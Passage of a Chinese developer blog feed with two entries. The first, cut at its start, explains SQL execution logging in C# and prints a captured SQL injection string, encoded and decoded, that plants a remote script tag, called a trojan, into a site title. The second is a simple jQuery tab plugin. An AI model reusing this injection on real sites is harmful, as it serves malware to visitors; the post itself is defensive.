}&lt;/div&gt;&lt;p&gt;第三部在你的每个执行sql语句的方法里加入以下代码，不管是ExecuteScalar、ExecuteReader还是ExecuteNonQuery等等都加上&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;执行sql之前进行日志记录操纵&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);&lt;/div&gt;&lt;p&gt;代码示例:&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;" onclick="cnblogs_code_show('cab6cc50-8375-4a5a-b8a3-49340f7b12b7')"&gt;&lt;img src="http://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif" class="code_img_closed" id="code_img_closed_cab6cc50-8375-4a5a-b8a3-49340f7b12b7" /&gt;&lt;img src="http://images.cnblogs.com/OutliningIndicators/ExpandedBlockStart.gif" class="code_img_opened" id="code_img_opened_cab6cc50-8375-4a5a-b8a3-49340f7b12b7" onclick="cnblogs_code_hide('cab6cc50-8375-4a5a-b8a3-49340f7b12b7',event)" style="display: none;" /&gt;&lt;div id="cnblogs_code_open_cab6cc50-8375-4a5a-b8a3-49340f7b12b7" class="cnblogs_code_hide"&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;object&lt;/span&gt; ExecuteScalar(DbConnection connection, CommandType commandType, &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; commandText, &lt;span style="color: #0000ff;"&gt;params&lt;/span&gt; DbParameter[] commandParameters)&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (connection == &lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;) &lt;span style="color: #0000ff;"&gt;throw&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; ArgumentNullException(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;connection&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;connection.Close();&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            connection.ConnectionString = GetRealConnectionString(commandText);&lt;br /&gt;            connection.Open();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 创建DbCommand命令,并进行预处理&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            DbCommand cmd = Factory.CreateCommand();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;bool&lt;/span&gt; mustCloseConnection = &lt;span style="color: #0000ff;"&gt;false&lt;/span&gt;;&lt;br /&gt;            PrepareCommand(cmd, connection, (DbTransaction)&lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;, commandType, commandText, commandParameters, &lt;span style="color: #0000ff;"&gt;out&lt;/span&gt; mustCloseConnection);&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;执行sql之前进行日志记录操纵&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 执行DbCommand命令,并返回结果.&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            &lt;span style="color: #0000ff;"&gt;object&lt;/span&gt; retval = cmd.ExecuteScalar();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 清除参数,以便再次使用.&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            cmd.Parameters.Clear();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (mustCloseConnection)&lt;br /&gt;                connection.Close();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; retval;&lt;br /&gt;        }&lt;/div&gt;&lt;/div&gt;&lt;p&gt;然后你会发现入侵的入口被记录下来了，后面方框里的就是构造注入的sql&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/94489/2011092516324613.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;构造sql如下：&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #800000; font-weight: bold;"&gt;39191&lt;/span&gt;&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;update&lt;/span&gt;&lt;span style="color: #808080;"&gt;+&lt;/span&gt;my_websetting&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;&lt;span style="color: #808080;"&gt;+&lt;/span&gt;websitetitle&lt;span style="color: #808080;"&gt;=&lt;/span&gt;&lt;span style="color: #ff00ff;"&gt;REPLACE&lt;/span&gt;(&lt;span style="color: #ff00ff;"&gt;cast&lt;/span&gt;(websitetitle&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;as&lt;/span&gt;&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;varchar&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;8000&lt;/span&gt;)),&lt;span style="color: #ff00ff;"&gt;cast&lt;/span&gt;(&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;60&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;47&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;116&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;105&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;116&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;108&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;101&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;62&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;60&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;115&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;99&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;114&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;105&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;112&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;116&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;32&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;115&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;114&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;99&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;61&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;104&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;116&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;116&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;112&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;58&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;47&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;47&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;100&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;102&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;114&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;103&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;99&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;99&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;46&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;99&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;111&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;109&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;47&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;117&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;114&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;46&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;112&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;104&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;112&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;62&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;60&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;47&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;115&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;99&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;114&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;105&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;112&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;116&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;62&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;as&lt;/span&gt;&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;varchar&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;8000&lt;/span&gt;)),&lt;span style="color: #ff00ff;"&gt;cast&lt;/span&gt;(&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;32&lt;/span&gt;)&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;as&lt;/span&gt;&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;varchar&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;8&lt;/span&gt;)))&lt;span style="color: #008080;"&gt;--&lt;/span&gt;&lt;/div&gt;&lt;p&gt;转码后变成这样了：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #0000ff;"&gt;update&lt;/span&gt; my_websetting &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt; websitetitle&lt;span style="color: #808080;"&gt;=&lt;/span&gt;&lt;span style="color: #ff00ff;"&gt;REPLACE&lt;/span&gt;(&lt;span style="color: #ff00ff;"&gt;cast&lt;/span&gt;(websitetitle &lt;span style="color: #0000ff;"&gt;as&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;varchar&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;8000&lt;/span&gt;)),websitetitle&lt;span style="color: #808080;"&gt;+&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;'&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&amp;lt;/title&amp;gt;&amp;lt;script src=http://dfrgcc.com/ur.php&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;'&lt;/span&gt;)&lt;/div&gt;&lt;p&gt;这个就是木马地址，没事你就别点了，好奇害死猫。&lt;/p&gt;&lt;p&gt;&lt;span style="background-color: #99ccff;"&gt;&lt;strong&gt;小结： &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;既然知道入口就知道怎么补救了吧，把string类型该过滤的都过滤掉，int类型的就得是int类型，别让数据库替你隐式转。通过此sql日志记录，你应该发现一点那个hit还是有点价值的。&lt;/p&gt;&lt;p&gt;通过select top 100 * from my_sqllog order by hit desc你会发现你写的那么多sql原来真垃圾，在条件允许的情况下干嘛不把它放到缓存里。所以后来我写的sql基本不在这top 100里。&lt;/p&gt;&lt;p&gt;抛砖引玉，望高手批评，以上入侵方法希望刚学习做程序员的同学不要用来欺负小网站，伤不起。&lt;/p&gt;&lt;p&gt;作者：&lt;a href="http://www.cnblogs.com/jqbird/"&gt;jqbird&lt;/a&gt;&lt;/p&gt;&lt;p&gt;出处：&lt;a href="http://www.cnblogs.com/jqbird/"&gt;http://www.cnblogs.com/jqbird/&lt;/a&gt;&lt;br style="padding: 0px; margin: 0px;" /&gt;本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。&lt;/p&gt;&lt;script type="text/javascript"&gt;// &lt;![CDATA[google_ad_client = "ca-pub-2976783274616186";/* 博客园1 */google_ad_slot = "4211604936";google_ad_width = 728;google_ad_height = 90;// ]]&gt;&lt;/script&gt;&lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;// &lt;![CDATA[// ]]&gt;&lt;/script&gt;&lt;img src="http://www.cnblogs.com/jqbird/aggbug/2190332.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/25/2190332.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jqbird/archive/2011/09/10/2173211.html</id><title type="text">jquery tab插件精简版</title><summary type="text">自己平时用得比较多tab功能，网上有很强大的tab功能，但是很多时候太过于复杂，所以自己写了一个最简单的jquery插件，代码如下，就不解释了。/* * jqpressToos1.0 * * Copyright (c) 2011 yepeng * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * */$.fn.extend({//插件名称：Tab选项卡 jqpressTab: function(options) { //参数和默认值 va...</summary><published>2011-09-10T08:01:00Z</published><updated>2011-09-10T08:01:00Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jqbird/archive/2011/09/10/2173211.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/archive/2011/09/10/2173211.html"/><content type="html">&lt;p&gt;自己平时用得比较多tab功能，网上有很强大的tab功能，但是很多时候太过于复杂，所以自己写了一个最简单的jquery插件，代码如下，就不解释了。&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #008000;"&gt;/*&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt; * jqpressToos1.0&lt;br /&gt; *&lt;br /&gt; * Copyright (c) 2011 yepeng &lt;br /&gt; * Dual licensed under the MIT (MIT-LICENSE.txt)&lt;br /&gt; * and GPL (GPL-LICENSE.txt) licenses.&lt;br /&gt; *&lt;br /&gt; &lt;/span&gt;&lt;span style="color: #008000;"&gt;*/&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;br /&gt;$.fn.extend({&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;插件名称：Tab选项卡&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;    jqpressTab: &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;function&lt;/span&gt;&lt;span style="color: #000000;"&gt;(options) {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;参数和默认值&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;var&lt;/span&gt;&lt;span style="color: #000000;"&gt; defaults &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; {&lt;br /&gt;            _tabClass: &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;选项卡样式&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;            _childs:&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;子选项 样式选择器&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;        };&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;var&lt;/span&gt;&lt;span style="color: #000000;"&gt; options &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; $.extend(defaults, options);&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;var&lt;/span&gt;&lt;span style="color: #000000;"&gt; o &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; options;&lt;br /&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;var&lt;/span&gt;&lt;span style="color: #000000;"&gt; parentCate &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; $(&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;var&lt;/span&gt;&lt;span style="color: #000000;"&gt; childCate &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; $(o._childs);&lt;br /&gt;&lt;br /&gt;        parentCate.mouseover(&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;function&lt;/span&gt;&lt;span style="color: #000000;"&gt;() {&lt;br /&gt;        parentCate.removeClass(o._tabClass);&lt;br /&gt;&lt;br /&gt;        $(&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;&lt;span style="color: #000000;"&gt;).addClass(o._tabClass);&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;for&lt;/span&gt;&lt;span style="color: #000000;"&gt; (i &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #000000;"&gt;0&lt;/span&gt;&lt;span style="color: #000000;"&gt;; i &lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #000000;"&gt; parentCate.length; i&lt;/span&gt;&lt;span style="color: #000000;"&gt;++&lt;/span&gt;&lt;span style="color: #000000;"&gt;) {&lt;br /&gt;                &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;if&lt;/span&gt;&lt;span style="color: #000000;"&gt; (parentCate[i].className &lt;/span&gt;&lt;span style="color: #000000;"&gt;==&lt;/span&gt;&lt;span style="color: #000000;"&gt; o._tabClass) {&lt;br /&gt;                    childCate[i].style.display &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;block&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;;&lt;br /&gt;                } &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;else&lt;/span&gt;&lt;span style="color: #000000;"&gt; {&lt;br /&gt;                    childCate[i].style.display &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;none&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;        });&lt;br /&gt;    }&lt;br /&gt; });&lt;br /&gt;&lt;br /&gt;})(jQuery);&lt;/span&gt;&lt;/div&gt;&lt;p&gt;调用方法更简单：&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span&gt;jQuery(document).ready(&lt;span style="color: #0000ff;"&gt;function&lt;/span&gt;&lt;span style="color: #000000;"&gt;()&lt;/span&gt;&lt;/span&gt;{&lt;span style="color: #000000;"&gt;   $(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;.mytab  li  a&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;).jqpressTab({ _tabClass: &lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;样式名称&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;, _childs: &lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: 